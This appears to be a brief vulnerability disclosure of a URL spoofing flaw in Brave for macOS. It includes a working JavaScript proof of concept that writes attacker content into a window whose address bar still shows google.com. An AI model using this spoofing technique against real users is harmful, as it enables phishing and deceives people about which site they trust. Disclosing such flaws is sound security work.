URL spoofing in Brave for macOS

URL in address bar is `https://www.google.com/csi`, but actually that's about:blank page. Attacker could inject arbitrary content and execute javascript on this page. Additionally, during alert(), address bar continue displaying `www.google.com`

<script>
    window.onclick = function () {
        x = window.open('https://www.google.com/csi');
        setTimeout(function () {
            x.document.write(`I am not a www.google.com;<button onclick="alert('I can run JS on this page!')">click me</button>`)
        }, 100);
    }
</script>